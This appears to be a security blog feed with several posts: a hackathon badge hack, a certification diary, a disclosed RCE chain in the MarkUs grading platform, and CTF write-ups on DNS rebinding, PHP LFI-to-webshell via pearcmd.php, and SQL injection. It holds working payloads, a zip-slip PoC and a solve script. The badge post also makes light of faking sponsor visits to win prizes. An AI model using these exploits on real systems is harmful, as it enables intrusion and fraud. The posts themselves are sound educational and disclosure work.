janky

I investigated this year's Hack the North badge, here's what I found...

Tue, 22 Sep 2026 00:00:00 GMT

Intro

This year, I had the pleasure of going to Hack the North again, and come to find out, they have a super cool programmable badge this time around sponsored by Solana™. No more cardboard + lanyard!

Here's a pic:

During the opening ceremony, I found out Solana had a badge hack track, and my teammates (David, Simon, and Anthony) and I immediately had an evil idea.

The big idea

We wanted to recreate the Garry's Mod cough virus incident, except with badges. The idea was that when people exchanged info by bumping badges together, it would somehow "infect" the other badge and make it occasionally display cough. We never got that part working.

Instead, I found the badge's admin password, unlocked apps that most attendees never saw, and discovered that the server trusted quite a bit of what the badge told it.

Getting admin

I saw that Hack the North provided an IDE to make apps for the Solana badge app track.

Here's what it looks like:

When I plugged in my badge and connected it to the IDE, the thing that immediately piqued my interest was the result from this help command:

When we first tried running the commands, we got this:

I tried guessing some passwords like htnbadge, but it didn't work, so I gave up and looked elsewhere.

After looking around, I eventually found this interesting file on the hackthenorth.com website:

Turns out the password was sitting in a publicly accessible file used by the provisioning flow. The site would automatically append it to privileged commands so volunteers could provision badges without ever actually seeing the password.

What was cool about having the admin password was that we could unlock all the apps for ourselves and even see organizer apps on the badge.

With seedall, we didn't have to walk around the whole building finding stickers to scan to unlock apps.

We could also run debug which would give us organizer apps for debugging the badge.

Here are some of the apps you might've missed:

Can we actually spread anything?

Even though we had the admin password, it didn't look like it would help us pull off the cough idea.

So next, I tried dumping the firmware with esptool and revving it, but nothing really came up. I couldn't find any way to silently install an app on someone else's badge or have something run in the background displaying cough occasionally. The badge was pretty locked down.

API shenanigans

With all hope lost in the badge infection idea, I moved on to testing the syncing feature. Syncing uploaded badge state to the backend, including unlocked apps, sponsor visits, and game high scores.

When I synced my badge, I found that all of this was being sent to the server through an API request.

This badge data contained a list of files, and this is what is used to track the apps you have and the sponsors you visited as well. Here is more of the payload:

So, I tested if I could replay the request with the rest of the sponsors so that it would look like I had visited all of them. Since there were 64 sponsors, I added the corresponding sponsor .cfg files with valid size and text values.

For example:

{
// ...
  "config/sponsors/42067.cfg": {
    "size": 67,
    "text": "version=67\ntable=67\nslug=blah\nvisited_unix=123\n"
  },
// ...
}

After making the request to self-upload, this is the result:

The funny thing was that achievements relied on this badge state. Since sponsor visits contributed points toward Goose Games rewards, the client-controlled state wasn't purely cosmetic. You could also get more points by giving yourself ridiculously high scores in the badge games.

Solana was also running a scavenger hunt with their phone as a prize where you had to find 9 gift boxes around the venue. Not saying I did it, but allegedly, you could update your dashboard with this, lie to Solana, and finesse yourself a $500 phone.

Ending

We never managed to make everyone else's badges cough 😔

But chasing that idea took me from the badge IDE, to an exposed admin password, to reversing the firmware, and eventually to figuring out how much the backend trusted the badge itself.

I also got to meet a lot of cool people, build something fun, get a cool badge, and somehow actually get some sleep this year.

All in all, a pretty good weekend.

Hope you learned something new! Thanks for reading 😄

I Tried Speedrunning the BSCP. I Passed First Try

Fri, 11 Sep 2026 00:00:00 GMT

Prerequisites:

Be unemployed
Play CTFs and main web challenges for 1+ years
Have 99 USD on hand
Get your hands on Burp Pro

How to meet prerequisites

Pretty easy to do. Some options include: quitting your job, getting laid off, or never being employed in the first place
Go to https://ctftime.org/event/list/upcoming, maybe join a team or go solo and play one or more of these every week
Can be done in a plethora of ways, preferably legally
Mandatorily legally

BSCP what?

The Burp Suite Certified Practitioner exam involves two targets, and each target has three stages, with each stage requiring you to find and exploit a web vulnerability. The first stage is to get into a normal user account, the second stage is to get into an administrator account, and the third and final stage is to exploit a vulnerability to read /home/carlos/secret. I gave myself a month to get through the material and pass it.

The plan is simple

This summer, I knew I wanted to get a cert, and I decided on the BSCP because I wanted more web experience that wasn't just super niche techniques and attacks that show up in CTFs. So, on August 6, 2026, I started going through the BSCP labs.

The plan was:

For topics that I knew, speedrun as many labs as possible and read through the material if I got stuck
For topics that I didn't know, thoroughly learn all the material, attempt the labs, and write quick notes consisting of identification, exploitation, and a working payload
Research and find the best way to prep for the exam

Weeks 1-2: speedrun

I worked through the content as if it were a full-time job, spending 8+ hours on days I didn't have anything else to do. I started with the topics I already knew, then went fully topic by topic. A lot of the content I could speed through from my prior experience, going from 0% -> 67% completion in about 2 weeks.

Week 3: slowrun

The third week I spent learning about topics I didn't know much about, such as HTTP request smuggling, WebSockets, OAuth, and cache poisoning. To really keep this info in my head, I dug deep into what was going on behind the scenes of each vulnerability. After each lab, I would write down a quick note about how I identified the vulnerability, how I exploited it, along with a working payload. Here is an example of one I wrote for forced OAuth profile linking:

Detail to notice: no `state` parameter to prevent csrf in `/oauth-linking` request

What allows: We can make our victim link our social media account to their account and then login to their account with our social media account

Solved by linking account -> intercept requests -> send `/auth` request through -> copy the `/oauth-linking` request so that the code isn't used and send it to admin so that they complete the request for us -> login with our social media and delete carlos

After going through all of that, I got to the point where I had all the Apprentice and Practitioner labs completed.

Week 4: building confidence

Here, I researched other people's experiences, mostly through blogs or Reddit posts, and how they messed up or succeeded. A lot of the time, I found that these were the main causes of failure:

Rabbit-holing: spending too long forcing one idea instead of pivoting.
Finding the vuln but not finishing the exploit: even if you find the vuln, you have to know how to exploit it to get to the next stage.
Memorizing labs instead of understanding them: exam scenarios often require adapting known techniques and bypassing filters.
Weak discovery: normal labs tell you the topic, while the exam does not, which can give you a false sense of confidence in your recon and vulnerability discovery skills.
Misusing Burp Scanner: either relying on it too much or not using targeted scans enough.
Missing functionality: overlooking an endpoint, parameter, cookie, or feature can waste huge amounts of time. This could also be caused by having too strict of a filter for your traffic, maybe causing you to miss important JS files for something like XSS.
Poor time management: stress and tunnel vision caused otherwise capable people to run out of time.
Forgetting OAST/Collaborator: an error response does not necessarily mean an out-of-band payload failed.
Bad exam setup: mixing up the two apps, using a temporary Burp project, or changing environments caused avoidable problems.

There is also a niche cause of failure that PortSwigger warns you about: accidentally deleting your own account or doing something destructive to the instance with the functionality you find. So yeah, don't rm -rf / if you find command injection.

THE method

At this point, I figured the way to get over these pitfalls was to spam mystery labs to get my recon time down and blind exploitation skills up. I went through enough mystery labs to the point where I could complete at least 10 mystery labs in an hour.

My process was basically using all the pattern recognition I had built up to test things. For example, if there was a search feature, it usually meant XSS or SQLi, so I would immediately go to the request, highlight the proper parameter, click Scan selected insertion point, and scan for XSS and SQLi. During the scan, I would check out other features on the site and make sure I didn't miss anything. If I suspected anything there, I would use a similar process of scanning or testing whatever I had a hunch about.

Once something weird showed up in a response or the scanner came up with something, it was go time to see if I could get an exploit working quickly. I would only keep a mental note of what I checked and what I didn't. Sometimes it was actually useful to forget, go back to a feature later, and find something new instead of writing it off as a complete dead end.

Also, once you've done this, make sure to complete BOTH practice exams that PortSwigger provides. They are very similar to the exam environment, and at this point you should be able to do them blind. These exams are also the same each time, so don't look up the answer and waste your opportunity to gauge your skills.

Even though I got to this point, I still didn't feel fully prepared.

Burp setup and useful resources

Extensions

Extensions can save a lot of time in Burp Pro. The ones I had installed at the start of my exam were:

Param Miner
Java Deserialization Scanner
CO2
JWT Editor

Resources

During my prep, I did more research and found some extremely helpful resources to have open during the exam:

https://github.com/DingyShark/BurpSuiteCertifiedPractitioner
https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study

But don't forget PortSwigger resources as well, such as the XSS cheat sheet.

These resources were mainly useful because they show which types of vulns may show up at each stage of the exam, and they have quick payloads to use in case you don't exactly remember one. Most of the time, you'll be able to write the exploit yourself or adapt the scanner result.

The XSS cheat sheet was useful as well in case you ever need to bypass a filter.

How to not go broke

Burp Pro is normally 499 USD, which may be quite a hefty sum for some. One thing you can do so that you only pay the exam fee of 99 USD is get a 30-day free trial of Burp Pro instead. "But how do I learn the content without Burp Pro?" you may ask. Well, you can actually learn all the content for free and complete most of the labs with the Community Edition or by writing your own Python exploit scripts, which I did for the blind SQLi labs. IIRC, the only labs that you can't complete are the OAST ones, which require Burp Collaborator if you don't have access to an exploit server.

Once you do get your Burp Pro trial or subscription, make sure you learn how to use the scanner effectively. Targeted scanning and the Scan selected insertion point feature are a massive part of how quickly you can identify and exploit vulnerabilities. Along with that, learn how to use Intruder properly instead of sending everything to Repeater, especially for stuff like SQLi, fuzzing, or brute forcing. I also recommend that once you complete a lab, look at the official solution so that you can see how to use Burp Suite in the intended way. This helps you learn the tool while you don't have all the Pro features.

AI usage verdict as of 09-07-2026

This section exists because I couldn't find anything online about what PortSwigger considered acceptable AI usage during the exam. Since Burp Pro itself includes Burp AI, which can send requests and interact with targets, I wanted to know where they drew the line before using it. Hopefully this helps someone else out there looking for the same answer.

I'm a very meticulous guy, so I still wanted clarification on what counted as cheating or not, especially in this age of LLMs.

So, I emailed PortSwigger about AI usage, and this is the response I got:

I emailed after work hours on a Friday, so I wouldn't get a response until next week.

Fuck it we ball

Turns out I'm also a very eager typa guy and after all this prep, I could NOT wait until Monday to get a response from support, so I purchased an exam voucher and decided to take it then and there. So I didn't really end up using AI.

I made sure to pre-load all my Burp extensions and create a non-temporary project. I opened the proctoring site, where you have to upload identification and share your screen(s), microphone, and camera.

Before clicking the button to launch the exam instance, my heart was racing, but once I opened the target in Burp, I was locked in. I cannot disclose what vulnerabilities were on the exam, but trust me when I say my pattern recognition kicked in. I immediately found the vulnerability, passed the first stage, then the second, then the third. I completed the first target in an hour.

I then moved on to the second target, which took me a bit longer in the second stage because of some functionality I initially missed but later found. All said and done, I ended up finishing the whole exam in 3 of the 4 hours allotted.

Since I completed this on Friday after work hours, I had to wait until Monday for my result, and this is what I received on said Monday:

I passed!

Cert: https://portswigger.net/web-security/e/c/bcf87f2c9e6545e9

If I did it again (green splits)

I would say the most impactful practice was first completing all the Apprentice and Practitioner labs, then spamming the mystery labs, and finally solving the practice exams blind.

As for what I would do differently, I would JUST START. I wasted a decent amount of time trying to figure out the perfect way to prepare before I had even really started. That alone was probably a few days of free time save.

Also, most of the process I ended up with came from noticing inefficiencies in how I worked, as well as researching issues that other people had. For example, in the first week, I was taking really long notes on stuff I already knew, which had me bored out of my mind. Eventually I switched to writing much quicker notes as I went through each lab. They basically followed: why -> identify -> exploit, which was way more useful. If I had started earlier, I probably would've found even more inefficiencies and time saves along the way.

I wouldn't try to speedrun everything though. The reason this worked was because I only sped through the stuff I already knew. When I got to topics I didn't know much about, I slowed down and actually learned what was going on.

If I ran this route again, I think I could probably get a sub 4 week PB:

Week 1: spam the stuff I already know

Week 2: learn the stuff I don't know

Week 3: spam mystery labs -> practice exams blind -> full send

So basically:

known stuff -> new stuff -> spam mystery labs

Also, being unemployed definitely helps 😊

Thanks for reading!

How We Accidentally Hacked the #1 University in Canada

Tue, 21 Jul 2026 00:00:00 GMT

Ok, so that title is a little dramatic, but this was a real vulnerability chain in MarkUs, a grading platform used by UofT and Waterloo. This was not a CTF, and we did not use it to change grades or mess with anyone's data. Everything was responsibly disclosed through GitHub Security Advisories and Teams, and we also helped patch the bugs.

This post is going to focus mostly on my side of the story: getting MarkUs running locally, stealing CSRF tokens with XSS, building the zip slip payload, and turning file write into RCE.

If you want more details on the full chain, Amin also wrote about it here: https://xtra.sh/blog/markus/

Dependency Hell

Before we could do any cool hacker stuff, I had to get MarkUs running locally.

Honestly, setup can sometimes be the hardest part of vulnerability research and I think anyone who has tried testing real software locally knows what I mean. Sometimes you end up patching license checks, hunting for the one VM image an old app still runs on, waiting hours for dependencies to install on bad internet, or trying to track down vulnerable versions that are not even listed publicly anymore.

For MarkUs, I had to fix the Docker build and production-ish compose setup enough to run the full stack locally: Rails, Postgres, Redis, Resque workers, SSH, and Apache/httpd. The main Dockerfile fixes were patching /app/.bundle/config ownership after root ran bundle config, forcing npm dev dependencies during asset precompile so sass existed, and installing openssh-server in the prod image because compose-prod.yaml starts /usr/sbin/sshd.

After that, Rails and the Apache proxy both returned 200, which was the point where I could finally stop fighting Docker and start testing the actual bugs. Very fun. Very normal.

This mattered a lot because once my local setup worked, I could stream it in call and we could test ideas quickly without touching any real school instance. My computer's name is Carl, so if you see that in the demo, that is why.

From XSS to CSRF

The chain started with a submission preview bug that could lead to XSS in an instructor's session. I am not going to spend too much time on that here, because the part I worked on more was what came after the JavaScript was already running.

An alert() is cool for proving XSS, but it does not do much by itself. The real question is:

Can we use this to make authenticated requests as the instructor?

MarkUs, like most Rails apps, uses CSRF tokens for state-changing requests. So even if we had JavaScript running, we still needed a valid token before we could POST to interesting endpoints.

The trick was pretty classic CTF stuff. Since the XSS was same-origin, the payload could fetch another page from MarkUs, read the HTML, pull out a CSRF token, and then reuse that token in a request.

At that point the XSS became a way to drive the instructor's browser through the app for us.

The Interesting Endpoint

The endpoint that became really interesting was assignment configuration upload.

Instructors can upload a zip file to create an assignment from an exported MarkUs config. That means MarkUs receives a zip, reads files out of it, and writes parts of it back to disk.

Whenever I see "upload a zip and extract it", my brain immediately goes to zip slip.

The vulnerable code was basically:

zip_file.glob(test_file_glob_pattern) do |entry|
  zip_file_path = Pathname.new(entry.name)
  filename = zip_file_path.relative_path_from(CONFIG_FILES[:automated_tests_dir_entry])
  file_path = File.join(assignment.autotest_files_dir, filename.to_s)

  FileUtils.mkdir_p(File.dirname(file_path))
  File.write(file_path, entry.get_input_stream.read, mode: "wb")
end

The problem is that entry.name comes from the zip. If the zip entry contains ../, then the final path can escape the intended directory.

So if MarkUs thinks it is writing:

automated-test-config-files/automated-test-files/tests.py

we can instead make it write something like:

automated-test-config-files/automated-test-files/../../../../../some/other/file

That gives arbitrary file write as the MarkUs app user.

File Write is Not RCE

Arbitrary file write is great, but it is not automatically RCE. We still needed to find a file we could overwrite that would actually get executed.

This is where Hack The Box helped a lot. On HTB boxes, after you get some access, you usually enumerate like crazy and look for anything weird: writable files, scripts, services, cron jobs, SSH config, whatever.

So I ran linpeas in the local MarkUs environment.

Eventually, linpeas highlighted markus-git-shell.sh in red.

That was the moment where things started to click. MarkUs uses that script for repository access over SSH. If we could overwrite it with the zip slip, then trigger a normal repo action, the server would execute our script.

The Zip Slip PoC

The PoC zip still needed to look like a valid assignment config. We could not just upload a zip with one random file and expect MarkUs to accept it.

So the script copied the normal fixture files MarkUs expected, then added one extra zip entry with path traversal.

Here is the shortened version:

import zipfile
from pathlib import Path

payload_name = (
    "automated-test-config-files/automated-test-files/"
    "../../../../../lib/repo/markus-git-shell.sh"
)

payload_content = """#!/bin/bash
# reverse shell payload redacted
"""

fixture_dir = Path("Markus/spec/fixtures/files/assignments/sample-timed-assessment-good")

entries = [
    ("properties.yml", fixture_dir / "properties.yml"),
    ("tags.yml", fixture_dir / "tags.yml"),
    ("criteria.yml", fixture_dir / "criteria.yml"),
    ("annotations.yml", fixture_dir / "annotations.yml"),
    (
        "automated-test-config-files/automated-test-specs.json",
        fixture_dir / "automated-test-config-files/automated-test-specs.json",
    ),
    (
        "automated-test-config-files/automated-test-files/tests.py",
        fixture_dir / "automated-test-config-files/automated-test-files/tests.py",
    ),
]

with zipfile.ZipFile("zip-slip-check.zip", "w") as zf:
    for arcname, src in entries:
        zf.write(src, arcname)

    zf.writestr(payload_name, payload_content)

The important part is zf.writestr(payload_name, payload_content).

That writes our payload into the zip under a path that escapes the automated test files folder and lands on lib/repo/markus-git-shell.sh.

So the chain became:

XSS runs in an instructor session.
The payload fetches a MarkUs page and steals a CSRF token.
The payload uploads our crafted config zip.
Zip slip overwrites markus-git-shell.sh.
A normal SSH/git action triggers the overwritten script.
RCE.

Popping the Shell

This took multiple days and hours upon hours of sitting in call trying random ideas, reading code, fixing local setup problems, and testing the chain over and over.

When the shell finally popped, we were screaming.

The video is muted, but trust me, we were freaking the hell out at 4 AM seeing the fruits of our labour.

Reporting

After confirming the chain locally, we wrote everything up through GitHub Security Advisories and talked with the professors through Teams.

We also helped patch the issues, which was honestly a really valuable part of the whole project. Finding bugs is fun, but fixing them teaches you a different side of security.

The relevant CVEs were:

CVE-2026-24900 - submission preview IDOR.
CVE-2026-28405 - stored XSS in submitted-file previews.
CVE-2026-25057 - zip slip arbitrary file write leading to RCE.

Afterthoughts

Honestly, this was one of the coolest security projects I have worked on so far.

It was really satisfying seeing CTF and HTB skills transfer into a real vulnerability chain. The biggest lesson for me was probably perseverance. The first bug was small, but by digging deeper and not giving up, it turned into something much more serious.

Also, I learned that sometimes the real exploit is getting the Docker setup to work.

Anyways, thanks for reading! 😊

K17 CTF - Web - janus

Sun, 21 Sep 2025 00:00:00 GMT

Hello dear reader! Today, we are going to look at a web challenge involving a DNS rebinding attack.

Challenge Description:

Someone hacked my space image viewer, but it's 100% secure now! Note: Attacking nasa's API is out of scope for this challenge

The Rundown

Ok, so before we actually look at the code, let me tell you about the website. So this site let's us search for images from NASA using their API.

It's hiding a secret though... there is an internal server, serving the flag.

But, how do we get to it? Well from the code you will be able to read below, it checks if the url we send it to resolves to one of NASA's IP addresses and then it shows us the page content if it doesn't error out.

Reading the Code

Here is the code we are interacting with:

#main.py
from flask import Flask, request, Response, abort, render_template
import time
import socket
import requests
from urllib.parse import urlparse

app = Flask(__name__)

# Resolve NASA's IP at startup
NASA_HOST = "images-api.nasa.gov"

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/api")
def api():
    NASA_IPS = set(socket.gethostbyname_ex(NASA_HOST)[2]).union({'3.175.115.68', '3.175.115.60', '3.175.115.113', '3.175.115.52'})

    target_url = request.args.get("url")
    if not target_url:
        abort(400, "Missing url parameter")

    # Parse the target URL
    parsed = urlparse(target_url)
    if not parsed.scheme:
        target_url = "https://" + target_url  # assume https if missing
        parsed = urlparse(target_url)

    hostname = parsed.hostname
    if not hostname:
        abort(400, "Invalid URL")

    # Prevent users brute forcing our api
    time.sleep(1)
    try:
        resolved_ip = socket.gethostbyname(hostname)
    except socket.gaierror as e:
        abort(400, "Unable to resolve hostname")

    # Verify that the url provided resolve's to NASA's IP address
    if resolved_ip not in NASA_IPS:
        abort(403, "URL does not resolve to NASA")

    # Fetch and stream the content
    try:
        r = requests.get(target_url, stream=True, timeout=5)
        if r.status_code == 429:
            abort(429, f"Rate limited by NASA. (This challenge is still solvable)")

        r.raise_for_status()
    except requests.RequestException as e:
        print("failed to fetch", target_url, e)
        abort(502, "Failed to fetch data")

    return Response(
        r.iter_content(chunk_size=8192),
        content_type=r.headers.get("Content-Type", "application/octet-stream"),
    )

Here is the stuff they don't want us to get to:

#internal_app.py
from flask import Flask, request, Response, abort

app = Flask(__name__)

@app.route("/")
def root():
    return "the flag will go here"

Here is the Dockerfile if you were wondering how I know what the ports are:

FROM python:3.13.7-slim-trixie

RUN pip install --no-cache-dir waitress flask requests

WORKDIR /app
COPY . .

USER nobody

CMD waitress-serve --listen "127.0.0.1:5001" internal_app:app & \
    waitress-serve --listen "0.0.0.0:1337" --trusted-proxy '*' --trusted-proxy-headers 'x-forwarded-for x-forwarded-proto x-forwarded-port' --log-untrusted-proxy-headers --clear-untrusted-proxy-headers --threads 4 main:app

Those forwarded for headers don't affect the challenge by the way, it's because the remote instance sits behind a proxy. You can ignore them.

Alrighty, so from the code above, we can control the url parameter and if we can send it to 127.0.0.1:5001, we will get the flag back as a response. How though?

DNS Rebinding

So, DNS rebinding is going to be the key to solving the challenge here. What this helps us do is change what our url resolves to and if we time it right, we can exploit a Time Of Check Time Of Use (TOCTOU) vulnerability, (I pronounce it as /tɔk ˈtu.ə/).

What do I mean by time it right though? Well for this attack, if we aren't lazy, we can set up a DNS server for our domain and return DNS packets with a very small Time To Live (TTL). During this short TTL window, we need to change the DNS A record to be 127.0.0.1. Since the TTL is small, the cached entry for the previous IP address (A record) expires quickly and becomes invalid. This forces the server to requery the DNS server and it will now resolve to 127.0.0.1.

So, during the check, the url will resolve to one of NASA's IP addresses and pass, then it will resolve to 127.0.0.1 which will grant us access to the internal server with the flag on it.

How Do We Actually Do This?

Well, I'm lazy so I just looked for some off-the-shelf solution and found this: https://lock.cmpxchg8b.com/rebinder.html (repo for the project)

From the site:

To use this page, enter two ip addresses you would like to switch between. The hostname generated will resolve randomly to one of the addresses specified with a very low ttl.

So, we just enter one of the NASA IPs such as 3.175.115.68 and 127.0.0.1.

Once we have the link, we can visit https://janus.secso.cc/api?url=03af7344.7f000001.rbndr.us:5001/.

When trying this locally it was pretty consistent, working about every other attempt, but for some reason remote didn't want to cooperate.

I'm guessing this is because of the random DNS resolution and the remote instance erroring for some reason leading to a bunch of 403s and 502s.

This is where the gambling comes into play:

NOTICE:

It took a while and felt just like this:

Afterthoughts

Honestly, I should've written a script to automate this but I was too lazy to and decided clicking resend request 784 times was better.

Also this was a pretty cool CTF challenge, I finally got to put into practice an attack I've only heard about before.

Thanks for reading! 😊

ToH CTF 2025 - Web - ToH Wedding

Mon, 08 Sep 2025 00:00:00 GMT

Gist

The big idea here is that we can change our lang cookie to be whatever and it will include that php file. In this case what we want to do is include pearcmd.php to create a file that allows us to get RCE.

Important Code

// lang.php
<?php
session_start();

if (isset($_GET['lang'])) {
  $lang = $_GET['lang'];
  // we don't trust the GET parameter, comes from the user
  if ($lang != 'en' && $lang != 'it') {
    // default if lang is not valid, is italian
    $lang = 'it';
  }
  // Register the session and set the cookie
  $_SESSION['lang'] = $lang;
  setcookie('lang', $lang, time() + (3600 * 24 * 30));
} else if (isset($_SESSION['lang'])) {
  $lang = $_SESSION['lang'];
} else if (isset($_COOKIE['lang'])) {
  // cookie is safe, we set it ourself
  $lang = $_COOKIE['lang'];
} else {
  // default language is browser language
  $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  if ($lang != 'en' && $lang != 'it') {
    // default if browser is not valid, is italian
    $lang = 'it';
  }
}

// include the language file
include 'lang/' . $lang . '.php';
?>

As we can see here, it will include our cookie value with .php appended to it. I also ran into a problem of it not working and that is because if you already have a PHPSESSID, it will just get the lang value from that. So if you are doing this manually make sure to delete it.

Flag?

So, looking through the handout, the flag is in rsvp_X.csv, the problem is though that in entrypoint.sh, they rename it with some random number in place of X.

#!/bin/sh
SECRET=$(openssl rand -hex 16)

export RSVP_PATH=rsvp_$SECRET.csv

mv /var/www/html/rsvp_X.csv /var/www/html/$RSVP_PATH

exec "$@"

So this means its basically impossible to include this file as we would need to know it's full name.

The Search

For a while, I was stuck and didn't know what to do. I even tried including the file with the flag in it, but that doesn't even make sense as we don't know the name of it and .php is appended to it. So, after a couple of hours, I figured that we probably needed to find some useful php file.

This is what led me to docker exec -it <container-id> /bin/bash'ing and searching around the container. At some point I eventually stumbled into /usr/local/lib/php/ and found some very interesting files with cmd in their names. Is this it chat?

root@container-id:/usr/local/lib/php# ls
Archive  Console  OS  PEAR  PEAR.php  Structures  System.php  XML  build  data doc  extensions  pearcmd.php  peclcmd.php  test

So, I searched stuff up about these and found this saying that we can actually use pearcmd.php to get RCE.

https://nvd.nist.gov/vuln/detail/CVE-2022-47945

https://h4ndsh.github.io/2023/phpinfo/

Alright, so now we just have to set our cookie to ../../../../usr/local/lib/php/pearcmd to do some path traversal and use it to create a php file that will allow us to run commands.

This is what happens with the malicious lang.

include 'lang/' . '../../../../usr/local/lib/php/pearcmd' . '.php';

Getting RCE

After consulting my friend who works at OpenAI, it gave me this which creates a php file named shell.php in /tmp/ that runs whatever command we put in the 0 parameter.

/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=`$_GET[0]`?>+/tmp/shell.php

One problem I ran into was my browser automatically url-encoding the < and >, so I needed to make a get request without it doing that.

Anyways, we can use the the same trick as before and set our lang cookie to be ../../../../tmp/shell.php and once we have that included, we can just visit:

/?0=cat%20/var/www/html/rsvp_*.csv

and we get the flag.

I have created a solve script afterwards:

import http.client

conn = http.client.HTTPConnection("localhost", 8000)

raw_path = "/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=`$_GET[0]`?>+/tmp/shell.php"
headers = {
    "Cookie": "lang=../../../../usr/local/lib/php/pearcmd"
}
conn.request("GET", raw_path, headers=headers)
response = conn.getresponse()
print(response.read().decode())

raw_path = "/?0=cat%20/var/www/html/rsvp_*.csv"
headers = {
    "Cookie": "lang=../../../../tmp/shell"
}
conn.request("GET", raw_path, headers=headers)
response = conn.getresponse()
print(response.read().decode())

Learnings

So after some research, I figured out the reason why pearcmd.php is in here in the first place is because it's included by default in this php server image on docker.

FROM php:8.1-apache
...

Anyways, thanks for reading, this is one of the more memorable challenges I've done because I essentially got really lucky stumbling into /usr/local/lib/php/. I also figured most of this stuff by myself, so the research part of it was really fun too. I will admit though, I got a little help from my friend at OpenAI.

Thanks for reading! 😊

ASIS CTF 2025 - Web ScrapScrap1 Revenge & ScrapScrap2 Writeup

Mon, 08 Sep 2025 00:00:00 GMT

Hello all, I played this CTF with UofTCTF and we solved this with the power of friendship.

Gist of it

This challenge has 2 flags, one requiring our role to be set to user in the database and the other requiring us to set our scrap_dir to / to view the flag on the server.

The big idea is that we have a bot we can XSS at /checker?url=payload to create a log at /debug/create_log to perform SQLI.

Important Code

SteakEnthusiast figured out most of this part.

If we can cause an error, i.e. getting it to wait longer than 8 seconds, we can get XSS. This is because we can create a payload that gets past DOMPurify and once an error happens .textContent in the somethingWentWrong function will take our payload and put malicious HTML on the page.

// /src/public/checker.js
async function main() {
  const params = new URLSearchParams(window.location.search);
  const url = params.get("url");
  if(url) {
    setTimeout(() => {
      somethingWentWrong();
    }, 8000);
    document.getElementById("div_url").style.visibility = 'visible';
    let url_cleaned = DOMPurify.sanitize(url);
    document.getElementById("msg_url").innerHTML = url_cleaned;
    const input = document.createElement("input");
    input.name = "url";
    input.type = "url";
    input.id = "input_url"
    input.required = true;
    input.value = url;
    const form = document.getElementById("scrap_form");
    form.appendChild(input);
    form.submit();
  } else {
    document.getElementById("div_url").remove();
    document.getElementById("error_url").remove();
    document.getElementById("input").innerHTML = '<input name="url" type="url" required placeholder="https://exemple.com" />';
  }
}

function somethingWentWrong() {
  let url = document.getElementById("msg_url").textContent;
  let error = document.getElementById("error_url");
  error.style.visibility = 'visible';
  error.innerHTML = `Something went wrong while scrapping ${url}`;
}

main();

Useful note: /me allows you to get your id and you can use it to save characters in your SQL query.

// auth.js
router.post('/debug/create_log', requireAuth, (req, res) => {
  if(req.session.user.role === "user") {
    //rework this with the new sequelize schema
    if(req.body.log !== undefined
      && !req.body.log.includes('/')
      && !req.body.log.includes('-')
      && req.body.log.length <= 50
      && typeof req.body.log === 'string') {
        database.exec(`
          INSERT INTO logs
          VALUES('${req.body.log}');
          SELECT *
          FROM logs
          WHERE entry = '${req.body.log}'
          LIMIT 1;
        `, (err) => {});
    }
    res.redirect('/');
  } else {
    res.redirect('/checker');
  }
});

The flag is accessible to us if we can set our role to be user.

// scrap.ejs
<% if (user.username != "superbot") { %>
  <p>Goodjob, the flag is: ASIS{FAKE_FLAG1}</p>
<% } else { %>
  <p>Welcome owner :heart:</p>
<% } %>
<h2>Scrapper</h2>
<form action="/scrap/run" method="post" class="card">
  <label>Website you want to scrap
    <input name="url" type="url" required placeholder="https://exemple.com" />
  </label>
  <button>Scrap scrap scrap !</button>
</form>

Story of the Solve

Flag 1

Initial Findings

Ibrahim and I started looking at this challenge together and we immediately looked for how to get flag 1. We saw that it was in scrap.ejs, accessible at /scrap, and that we needed our username to not be superbot.

// app.js
app.use('/', authRouter);
app.use('/checker', checkerRouter);
app.use('/files', requireUser, filesRouter);
app.use('/scrap', requireUser, scrapRouter);

There's also this condition where we needed our role to be user. By default, when we create a new account, our role is set to demo which can be see in db.js.

// db.js
async function initDb() {
  await getDb();
  await exec(`
    PRAGMA foreign_keys = ON;
    CREATE TABLE IF NOT EXISTS users (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      username TEXT NOT NULL UNIQUE,
      password TEXT NOT NULL,
      data_dir TEXT NOT NULL UNIQUE CHECK(length(data_dir)=8),
      scrap_dir TEXT NOT NULL UNIQUE,
      role TEXT NOT NULL DEFAULT 'demo'
    );
    CREATE TABLE IF NOT EXISTS logs (
      entry TEXT NOT NULL
    );
    CREATE TRIGGER IF NOT EXISTS users_immutable_dirs
    BEFORE UPDATE ON users
    FOR EACH ROW
    WHEN NEW.data_dir IS NOT OLD.data_dir OR NEW.scrap_dir IS NOT OLD.scrap_dir
    BEGIN
      SELECT RAISE(ABORT, 'data_dir and scrap_dir are immutable');
    END;
  `);.
... (skipping code fr fr)
  await database.query(`
    UPDATE users SET role='user' WHERE id=1; // the bot is made a user
  `);
}

SQL Injection?

Alright, so the next thing we found was in auth.js, where we could potentially perform SQL injection.

You'll notice that this can only be used if your account's role is user, so this is where we have to use XSS on the bot. The biggest problem here though is that our input is used TWICE and the changes only happen if the whole query is valid.

// auth.js
router.post('/debug/create_log', requireAuth, (req, res) => {
  if(req.session.user.role === "user") {
    //rework this with the new sequelize schema
    if(req.body.log !== undefined
      && !req.body.log.includes('/')
      && !req.body.log.includes('-')
      && req.body.log.length <= 50
      && typeof req.body.log === 'string') {
        database.exec(`
          INSERT INTO logs
          VALUES('${req.body.log}');
          SELECT *
          FROM logs
          WHERE entry = '${req.body.log}'
          LIMIT 1;
        `, (err) => {});
    }
    res.redirect('/');
  } else {
    res.redirect('/checker');
  }
});

You can see that there are restrictions as well, so we cannot comment stuff out because / and - are not allowed to be included and the payload must be at most 50 chars in length.

I spent a good 5 hours trying to get something to work, but my GOAT nullptr flew in to save the day and suggested using quotes to consume parts of the query. Something of this form ') ... ' and SteakEnthusiast came up with:

);UPDATE users SET role="user";SELECT "1"||'

INSERT INTO logs
VALUES(');UPDATE users SET role="user";SELECT "1"||'');
SELECT *
FROM logs
WHERE entry = ');UPDATE users SET role="user";SELECT "1"||''
LIMIT 1;

As we can see, this payload works because it turns the first part into a string and terminates the statement. Then we can run our injected payload which turns everyone into a user.

Now, we needed to get the XSS to work properly.

XSS

The file of interest here is checker.js, this allows us to send the bot to some link, but also XSS it because of the url parameter from earlier.

// /src/routes/checker.js
const express = require('express');
const { requireAuth } = require('../middleware');
const { visitUserWebsite } = require('../services/bot');

const router = express.Router();

